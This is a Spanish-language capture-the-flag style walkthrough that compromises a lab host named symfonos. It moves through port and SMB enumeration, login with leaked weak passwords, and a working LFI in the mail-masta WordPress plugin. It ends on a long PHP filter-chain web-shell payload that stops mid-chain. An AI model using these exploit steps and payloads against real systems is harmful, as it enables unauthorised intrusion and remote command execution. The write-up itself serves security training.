Escaneo de puertos

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-10 15:10 EDT
Nmap scan report for 192.168.5.179
Host is up (0.00026s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
|   256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
|_  256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
25/tcp  open  smtp        Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=symfonos
| Subject Alternative Name: DNS:symfonos
| Not valid before: 2019-06-29T00:29:42
|_Not valid after:  2029-06-26T00:29:42
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN,
STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:8D:BE:D4 (VMware)
Service Info: Hosts:  symfonos.localdomain, SYMFONOS; OS: Linux; CPE:
cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: symfonos
|   NetBIOS computer name: SYMFONOS\x00
|   Domain name: \x00
|   FQDN: symfonos
|_  System time: 2024-06-10T14:10:22-05:00
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2024-06-10T19:10:23
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
```

```
|_nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds
```

enum4linux

```
enum4linux <IP>
```

Info:

```
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ )
on Tue Jun 11 13:58:35 2024

 ==========================================( Target Information
)==========================================

Target ........... 192.168.5.179
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.5.179
)===========================


[+] Got domain/workgroup name: WORKGROUP


 ===============================( Nbtstat Information for 192.168.5.179
)===============================

Looking up status of 192.168.5.179
        SYMFONOS        <00> -         B <ACTIVE>  Workstation Service
        SYMFONOS        <03> -         B <ACTIVE>  Messenger Service
        SYMFONOS        <20> -         B <ACTIVE>  File Server Service
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ===================================( Session Check on 192.168.5.179
)===================================


[+] Server 192.168.5.179 allows sessions using username '', password ''


 ================================( Getting domain SID for 192.168.5.179
)================================

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup


 ==================================( OS information on 192.168.5.179
)==================================


[E] Can't get OS info with smbclient


[+] Got OS info for 192.168.5.179 from srvinfo:
        SYMFONOS       Wk Sv PrQ Unx NT SNT Samba 4.5.16-Debian
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03


 =======================================( Users on 192.168.5.179
)=======================================

index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: helios   Name:   Desc:

user:[helios] rid:[0x3e8]

 =================================( Share Enumeration on 192.168.5.179
)=================================


        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        helios          Disk      Helios personal share
        anonymous       Disk
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP

[+] Attempting to map shares on 192.168.5.179

//192.168.5.179/print$  Mapping: DENIED Listing: N/A Writing: N/A
//192.168.5.179/helios  Mapping: DENIED Listing: N/A Writing: N/A
//192.168.5.179/anonymous       Mapping: OK Listing: OK Writing: N/A

[E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing *
//192.168.5.179/IPC$    Mapping: N/A Listing: N/A Writing: N/A
```

```
 ===========================( Password Policy Information for 192.168.5.179
)===========================



[+] Attaching to 192.168.5.179 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] SYMFONOS
        [+] Builtin

[+] Password Info for Domain: SYMFONOS

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 37 days 6 hours 21 minutes
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes
        [+] Locked Account Duration: 30 minutes
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: 37 days 6 hours 21 minutes



[+] Retieved partial password policy with rpcclient:


Password Complexity: Disabled
Minimum Password Length: 5


 ======================================( Groups on 192.168.5.179
)======================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:
```

```
[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 =================( Users on 192.168.5.179 via RID cycling (RIDS: 500-550,1000-1050)
)=================


[I] Found new SID:
S-1-22-1

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[+] Enumerating users using SID S-1-5-21-3173842667-3005291855-38846888 and logon
username '', password ''

S-1-5-21-3173842667-3005291855-38846888-501 SYMFONOS\nobody (Local User)
S-1-5-21-3173842667-3005291855-38846888-513 SYMFONOS\None (Domain Group)
S-1-5-21-3173842667-3005291855-38846888-1000 SYMFONOS\helios (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\helios (Local User)

 ==============================( Getting printer info for 192.168.5.179
)==============================

No printers returned.
```

```
enum4linux complete on Tue Jun 11 13:58:53 2024
```

Vemos varias cosas interesantes, a parte de un usuario llamado `helios`, pero nos conectaremos de forma anonima de la siguiente manera a este recurso compartido llamado `anonymous`...

```
smbclient //192.168.5.179/anonymous -N
```

Si entramos aqui y hacemos un `ls` veremos lo siguiente...

```
attention.txt                       N      154  Fri Jun 28 21:14:49 2019
```

Veremos ese archivo el cual nos lo descargaremos...

```
get attention.txt
```

Una vez descargado nos salimos y lo leemos, contendra lo siguiente...

```
Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!

Next person I find using one of these passwords will be fired!

-Zeus
```

Al parecer nos da pistas de 3 posibles contraseñas para algun usuario, por lo que haremos lo siguiente...

Probaremos que el usuario existe realmente en el servidor ya que tenemos un puerto `25` corriendo...

```
telnet <IP> 25
> HELO <IP>
> VRFY <USERNAME>
```

Info:

```
Trying 192.168.5.179...
Connected to 192.168.5.179.
Escape character is '^]'.
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
HELO
501 Syntax: HELO hostname
HELO 192.168.5.179
250 symfonos.localdomain
VRFY helios
252 2.0.0 helios
```

Vemos que el usuario `helios` existe en el servidor ya que recibimos la siguiente linea...

```
252 2.0.0 helios
```

Probando una de las 3 `password's` que conseguimos nos conectaremos con `helios` en `smb` de la siguiente manera...

```
smbclient //192.168.5.179/helios -U helios
```

Y la `password` sera `qwerty`...

```
User = helios
Password = qwerty
```

Una vez dentro si hacemos un `ls` veremos lo siguiente...

```
research.txt                         A      432  Fri Jun 28 20:32:05 2019
todo.txt                             A       52  Fri Jun 28 20:32:05 2019
```

Nos lo descargamos de la siguiente manera...

```
get research.txt
get todo.txt
```

Y el contenido de cada uno sera...

> research.txt

```
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to
ride a golden chariot which brought the Sun across the skies each day from the east
(Ethiopia) to the west (Hesperides) while at night he did the return journey in
leisurely fashion lounging in a golden cup. The god was famously the subject of the
Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of
the Ancient World.
```

> todo.txt

```
1. Binge watch Dexter
2. Dance
3. Work on /h3l105
```

Vemos interesante el nombre de `/h3l105` ya que si lo ponemos en la `URL` como si fuera un directorio, veremos que contiene un `Wordpress`...

```
URL = http://<IP>/h3l105/
```

Pero no nos cargara bien, por lo que tendremos que actualizar nuestro archivo `hosts` para que nos cargue...

En el intento de ver si `helios` era un usuario del sistema, tambien vimos el dominio que utiliza la pagina web llamado `symfonos.local` por lo que sera eso lo que pongamos...

```
nano /etc/hosts

#Contenido del nano
<IP>       symfonos.local
```

Una vez hecho esto, cuando la recarguemos veremos el `wordpress` perfectamente...

```
wpscan --url http://symfonos.local/h3l105/ --enumerate u
```

Info:

```

```

```
     __          _______   _____
     \ \        / /  __ \ / ____|
      \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
       \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
        \  /\  /  | |     ____) | (__| (_| | | | |
         \/  \/   |_|    |_____/ \___|\__,_|_| |_|
     WordPress Security Scanner by the WPScan Team
                     Version 3.8.25
   Sponsored by Automattic - https://automattic.com/
   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

```
[+] URL: http://symfonos.local/h3l105/ [192.168.5.179]
[+] Started: Tue Jun 11 14:20:41 2024

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.25 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://symfonos.local/h3l105/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
|  - http://codex.wordpress.org/XML-RPC_Pingback_API
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://symfonos.local/h3l105/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://symfonos.local/h3l105/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://symfonos.local/h3l105/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|  - https://www.iplocation.net/defend-wordpress-from-ddos
|  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.2.2 identified (Insecure, released on 2019-06-18).
| Found By: Rss Generator (Passive Detection)
|  - http://symfonos.local/h3l105/index.php/feed/,
<generator>https://wordpress.org/?v=5.2.2</generator>
|  - http://symfonos.local/h3l105/index.php/comments/feed/,
<generator>https://wordpress.org/?v=5.2.2</generator>

[+] WordPress theme in use: twentynineteen
| Location: http://symfonos.local/h3l105/wp-content/themes/twentynineteen/
| Last Updated: 2024-04-02T00:00:00.000Z
| Readme: http://symfonos.local/h3l105/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.8
| Style URL: http://symfonos.local/h3l105/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features
custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
|  - http://symfonos.local/h3l105/wp-content/themes/twentynineteen/style.css?ver=1.4, Match:
'Version: 1.4'

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00
<==============================================================================> (10 /
10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
|  Rss Generator (Passive Detection)
|  Wp Json Api (Aggressive Detection)
|   - http://symfonos.local/h3l105/index.php/wp-json/wp/v2/users/?per_page=100&page=1
|  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
|  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Jun 11 14:20:43 2024
[+] Requests Done: 53
[+] Cached Requests: 6
[+] Data Sent: 14.148 KB
[+] Data Received: 521.126 KB
[+] Memory used: 201.199 MB
[+] Elapsed time: 00:00:02
```

~~~
Vemos que nos descubrio el usuario llamado ``admin``...

```shell
wpscan --url http://symfonos.local/h3l105/ --enumerate ap
~~~

Info:

```
     __          _______   _____
     \ \        / /  __ \ / ____|
      \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
       \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
        \  /\  /  | |     ____) | (__| (_| | | | |
         \/  \/   |_|    |_____/ \___|\__,_|_| |_|

     WordPress Security Scanner by the WPScan Team
                     Version 3.8.25
   Sponsored by Automattic - https://automattic.com/
   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

```
[+] URL: http://symfonos.local/h3l105/ [192.168.5.179]
[+] Started: Tue Jun 11 15:30:47 2024

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.25 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://symfonos.local/h3l105/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
|  - http://codex.wordpress.org/XML-RPC_Pingback_API
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://symfonos.local/h3l105/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://symfonos.local/h3l105/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://symfonos.local/h3l105/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|  - https://www.iplocation.net/defend-wordpress-from-ddos
|  - https://github.com/wpscanteam/wpscan/issues/1299
```

```
[+] WordPress version 5.2.2 identified (Insecure, released on 2019-06-18).
| Found By: Rss Generator (Passive Detection)
|  - http://symfonos.local/h3l105/index.php/feed/,
<generator>https://wordpress.org/?v=5.2.2</generator>
|  - http://symfonos.local/h3l105/index.php/comments/feed/,
<generator>https://wordpress.org/?v=5.2.2</generator>

[+] WordPress theme in use: twentynineteen
| Location: http://symfonos.local/h3l105/wp-content/themes/twentynineteen/
| Last Updated: 2024-04-02T00:00:00.000Z
| Readme: http://symfonos.local/h3l105/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.8
| Style URL: http://symfonos.local/h3l105/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features
custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
|  - http://symfonos.local/h3l105/wp-content/themes/twentynineteen/style.css?ver=1.4, Match:
'Version: 1.4'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] mail-masta
| Location: http://symfonos.local/h3l105/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Last Updated: 2014-09-19T07:52:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
|  - http://symfonos.local/h3l105/wp-content/plugins/mail-masta/readme.txt

[+] site-editor
| Location: http://symfonos.local/h3l105/wp-content/plugins/site-editor/
| Latest Version: 1.1.1 (up to date)
| Last Updated: 2017-05-02T23:34:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1.1 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
|  - http://symfonos.local/h3l105/wp-content/plugins/site-editor/readme.txt

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Jun 11 15:30:51 2024
[+] Requests Done: 2
[+] Cached Requests: 38
[+] Data Sent: 634 B
[+] Data Received: 1.097 KB
[+] Memory used: 247.609 MB
[+] Elapsed time: 00:00:04
```

```
Vemos que hay un plugin llamado ``mail-masta`` y tenemos el puerto ``25`` abierto por lo que buscaremos algun exploit que sea vulnerable al plugin ``mail-masta``...
```

```
[+] mail-masta
| Location: http://symfonos.local/h3l105/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Last Updated: 2014-09-19T07:52:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
|  - http://symfonos.local/h3l105/wp-content/plugins/mail-masta/readme.txt
```

```
URL = https://www.exploit-db.com/exploits/40290

En ``ExploitDB`` vemos que con la siguiente ``URL`` podemos hacer ``LFI (Local File Inclusion)``...
```

URL = http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

```
Por lo que lo ajustaremos a nuestras necesidades...
```

URL = http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

```
Info:
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

```
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
Debian-exim:x:105:109::/var/spool/exim4:/bin/false
messagebus:x:106:111::/var/run/dbus:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
helios:x:1000:1000:,,,:/home/helios:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
postfix:x:109:115::/var/spool/postfix:/bin/false
```

~~~

Veremos que funciona...

Por lo que copiaremos el siguiente script para automatizar todo esto mas,
utilizaremos la tecnica de ``LFI utilizando Wrappers``...

URL =
https://github.com/synacktiv/php_filter_chains_oracle_exploit/blob/main/filters_chain
_oracle_exploit.py

Una vez copiado ese script a nuestro ``host`` lo utilizaremos de la siguiente
manera...

```shell
python3 script.py --chain '<?php echo shell_exec($_GET["cmd"]);?>'
~~~

Info:

```
[+] The following gadget chain will generate the following code : <?php echo
shell_exec($_GET["cmd"]);?> (base64 value:
PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWyJjbWQiXSk7Pz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN
5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
```

```
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-
103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-
9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4
|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO202
2KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-
16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
```

```
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-
AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-
32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-
32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UH
C.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-
32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-
8|convert.base64-decode|convert.base64-
